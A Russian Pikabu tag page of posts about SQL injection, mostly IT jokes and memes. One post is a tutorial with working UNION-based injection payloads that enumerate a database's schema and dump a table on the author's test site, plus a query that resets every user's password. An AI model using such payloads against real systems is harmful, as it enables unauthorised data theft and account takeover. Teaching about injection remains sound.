Горячее
Лучшее
Свежее
Подписки
Сообщества
Блоги
Эксперты
Войти
Забыли пароль?
или продолжите с
Создать аккаунт
Я хочу получать рассылки с лучшими постами за неделю
или
Восстановление пароля
Восстановление пароля
Получить код в Telegram
Войти с Яндекс ID Войти через VK ID
Создавая аккаунт, я соглашаюсь с правилами Пикабу и даю согласие на обработку персональных данных.
ПромокодыРаботаКурсыРекламаИгрыПополнение Steam
Пикабу Игры +1000 бесплатных онлайн игр
Пройдите все испытания в игре кальмара второго сезона

Игра в кальмара 2: новые испытания

Аркады, Казуальные, Для мальчиков

Играть

Топ прошлой недели

  • Rahlkan Rahlkan 1 пост
  • Tannhauser9 Tannhauser9 4 поста
  • alex.carrier alex.carrier 5 постов
Посмотреть весь топ

Лучшие посты недели

Рассылка Пикабу: отправляем самые рейтинговые материалы за 7 дней 🔥

Нажимая кнопку «Подписаться на рассылку», я соглашаюсь с Правилами Пикабу и даю согласие на обработку персональных данных.

Спасибо, что подписались!
Пожалуйста, проверьте почту 😊

Помощь Кодекс Пикабу Команда Пикабу Моб. приложение
Правила соцсети О рекомендациях О компании
Промокоды Биг Гик Промокоды Lamoda Промокоды МВидео Промокоды Яндекс Директ Промокоды Отелло Промокоды Aroma Butik Промокоды Яндекс Путешествия Постила Футбол сегодня
0 просмотренных постов скрыто
6165
tproger.official
tproger.official
5 месяцев назад
Типичный программист

Шутка про SQL⁠⁠

Шутка про SQL IT юмор, Программирование, IT, Программист, SQL, Sql injection, Комиксы, Мемы
Показать полностью 1
IT юмор Программирование IT Программист SQL Sql injection Комиксы Мемы
192
18
eugeneamfe
eugeneamfe
1 год назад
IT-юмор
Серия IT мемы

Как работает валидация форм⁠⁠

Как работает валидация форм Юмор, IT, IT юмор, Валидация, Sql injection, Frontend, Telegram (ссылка), Картинка с текстом

Телеграм — Frontend.school()

Показать полностью 1
[моё] Юмор IT IT юмор Валидация Sql injection Frontend Telegram (ссылка) Картинка с текстом
5
6
Papasvinok
3 года назад

Ответ на пост «“; drop table users»⁠⁠1

Ответ на пост «“; drop table users»
IT юмор Sql injection Ответ на пост
4
13
Mit.ya
Mit.ya
4 года назад

Лучшее объяснение sql инъекций⁠⁠

#comment_201442030

Лучшее объяснение sql инъекций Комментарии на Пикабу, Программирование, SQL, Sql injection, Длиннопост
Показать полностью 1
Комментарии на Пикабу Программирование SQL Sql injection Длиннопост
5
829
DobroMax1
4 года назад
IT-юмор

Robert'); DROP TABLE Students;--⁠⁠

Девушка по имени Rachel True не могла получить доступ к iCloud из-за своей фамилии

Robert'); DROP TABLE Students;-- Sql injection, Юмор, Apple, Icloud, Fail, Длиннопост, Мат

Интересно, что на протяжении шести месяцев у девушки регулярно снималась плата за облачное хранилище, к которому у неё не было доступа по вине Apple.


True - это её настоящая фамилия. Более того, она достаточно известная актриса, если не ошибаюсь:

https://en.wikipedia.org/wiki/Rachel_True


Комментаторы шутят, что ей стоило бы сменить фамилию на Null. Или добавить к фамилии .toString()


Ну и классический комикс XKCD в тему:

Robert'); DROP TABLE Students;-- Sql injection, Юмор, Apple, Icloud, Fail, Длиннопост, Мат

Изначальная новость уже проскакивала на Пикабу, но в кратком виде


Update: в комментах привели хабрастатью (не видел в поиске, увы), в которой упоминается, что Павел Джундик (Pavel Djundik) показал, где именно возникает проблема в коде:

Robert'); DROP TABLE Students;-- Sql injection, Юмор, Apple, Icloud, Fail, Длиннопост, Мат
Robert'); DROP TABLE Students;-- Sql injection, Юмор, Apple, Icloud, Fail, Длиннопост, Мат
Показать полностью 4
Sql injection Юмор Apple Icloud Fail Длиннопост Мат
103
1037
bijdewind
4 года назад
IT-юмор

Execute immediate⁠⁠

Execute immediate IT юмор, База данных, Sql injection, Комиксы

Наконец-то шутка не для разработчиков бэк или фронт-энда, а для разработчиков БД.

IT юмор База данных Sql injection Комиксы
136
625
ser60v
ser60v
6 лет назад
Информационная безопасность IT

Как ломать сайты криворуких программистов.⁠⁠

Ломать сайты можно множеством способов, но один из самых простых и эффективных, если программист достаточно криворукий это SQL-инъекции

Давайте же немного обсудим данную тему.


Для того чтобы понять что тут происходит в принципе не нужно уметь программировать, знать SQL язык. Достаточно быть не сильно идиотом.


Что из себя представляют SQL инъекции? Это некие неправомерные действия, которые не предполагались выполняться данным скриптом.


Если привести пример из реальности, то это будет нечто такое:

Мать написала отцу записку:

Купи Васе конфет

А Вася взял и дописал: " и Пива"

В итоге отец видит записку:

Купи Васе конфет и Пива

Конечно когда прочитают логи и сверят данные Вася получит ремня, но временно он взломал систему. (поэтому правило первое, старайтесь действовать так чтоб вас не спалили)



Тут я подготовил простенький интерфейс на котором можно побаловаться:

https://test.ser60v.ru/injection/

По нормальному мы можем добавить строку, либо вытащить данные по поиску данной строки, дабы каждый ещё смог оставить немного своей дури:

Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры
Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры

Попробуем в поле поиска вбить не ololo

а

ololo' -- pikabu

Вывод выдаёт то же самое, итого мы можем применять инъекции.

В коде на сервере запрос выглядит так


SELECT * FROM `example` WHERE `text`='$find'

Мы же сами закрываем кавычки и комментируем всё последующее двумя дефисами.

Профит.


Что же мы можем сделать теперь?

Например добавить свой вывод:


' AND 0>1 UNION SELECT 1,2 -- pikabu

В этом случае мы выводим 1,2, но кому это интересно?

Если уж мы получили делать возможность инъекции необходимо узнать структуру базы, дабы получить возможность формировать желаемые запросы.


Получаем список баз

' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_schema)), 1 FROM information_schema.columns WHERE ''='
Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры

Таким запросом мы получим список баз к которым у данного пользователя есть доступ.


Тут в принципе не нужно ничего понимать, мы выводим столько же полей, потому как знаем что у нас их 2. Но в первое выводим через запятую все базы, к которым можем получить доступ.


Отлично, мы знаем что наша база называется injection


Теперь получим список таблиц нашей базы


' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and ''='
Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры

Получаем список колонок из таблицы secret

' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(column_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and table_name='secret' and ''='


Их внезапно тоже 2, так что не парясь можно получить всё содержимое.


' AND 0>1 UNION SELECT * FROM secret WHERE ''='

Много воли я решил не давать вам на сервере, например нет возможности редактировать структуру базы, создавать новые таблицы, удалять строки. Иначе начнётся тотальный треш.


В сущности, сейчас найти данную уязвимость практически невозможно. Но всякое в жизни бывает...


Так например было дело, на каком-то ресурсе удалось при редактировании своего пароля установить такой пароль всем, потому как было что-то типа:

UPDATE `users` SET `password`='$password' WHERE id=$id

Ну и если мы делаем переменную $password

newPass' -- ololo

То пароль newPass ставится для всех пользователей.



Защититься от инъекций куда проще, чем их использовать, но если доступ к оным получен - это дарует много возможностей.

Если кто-то сможет сделать insert/update в таблицу secret каким-то образом - с меня пиво первому сделавшему..)

Показать полностью 4
[моё] Sql injection SQL Web-программирование Взлом Длиннопост Mysql Хакеры
160
753
LuigiVampas
7 лет назад
Информационная безопасность IT

Опасная уязвимость на государственном сайте⁠⁠

Здравствуйте, дамы и господа.

Сегодня мне бы хотелось рассказать вам о том, как наше государство беспокоится о безопасности наших данных.

Сегодня на Хабре можно наткнуться на интересную статью:

https://habrahabr.ru/post/347760/.

В ней некий пользователь NoraQ рассказывает о вопиющей уязвимости на сайте Федеральной службы по надзору в сфере образования и науки.

В этой статье автор рассказывает о возможности беспрепятственного получения базы данных, содержащей информацию о 14 000 000 документах об образовании и их владельцах, включая их паспортные данные, информацию о учебном учреждении, выдавшем этот документ и пр. Общий объём данных составляет 5 ГБ. При всём при этом, если верить автору, никто  даже не шелохнулся, пока он выкачивал такое количество данных с государственного сайта.

Для тех, кто ещё не испугался, добавлю от себя, что никто не гарантирует, что нельзя с помощью найденной уязвимости подкорректировать данные и, например, добавить себе красный диплом или, развлечения ради, удалить чужой.

На данный момент уязвимость ещё не закрыта, а сам автор побоялся сообщать о ней администрации сайта, в ввиду совершённых им неправомерных действий.

UPD: реестр не работает, скорее всего он не выдержал такого количества хакеров и оказался недоступен. Будем надеяться, что уязвимость в ближайшем будущем закроют

Показать полностью
Информационная безопасность Postgresql Sql injection SQL Государство Сайт Habr Хакеры Текст
100
Посты не найдены
О нас
О Пикабу Контакты Реклама Сообщить об ошибке Сообщить о нарушении законодательства Отзывы и предложения Новости Пикабу Мобильное приложение RSS
Информация
Помощь Кодекс Пикабу Команда Пикабу Конфиденциальность Правила соцсети О рекомендациях О компании
Наши проекты
Блоги Работа Промокоды Игры Курсы
Партнёры
Промокоды Биг Гик Промокоды Lamoda Промокоды Мвидео Промокоды Яндекс Директ Промокоды Отелло Промокоды Aroma Butik Промокоды Яндекс Путешествия Постила Футбол сегодня
На информационном ресурсе Pikabu.ru применяются рекомендательные технологии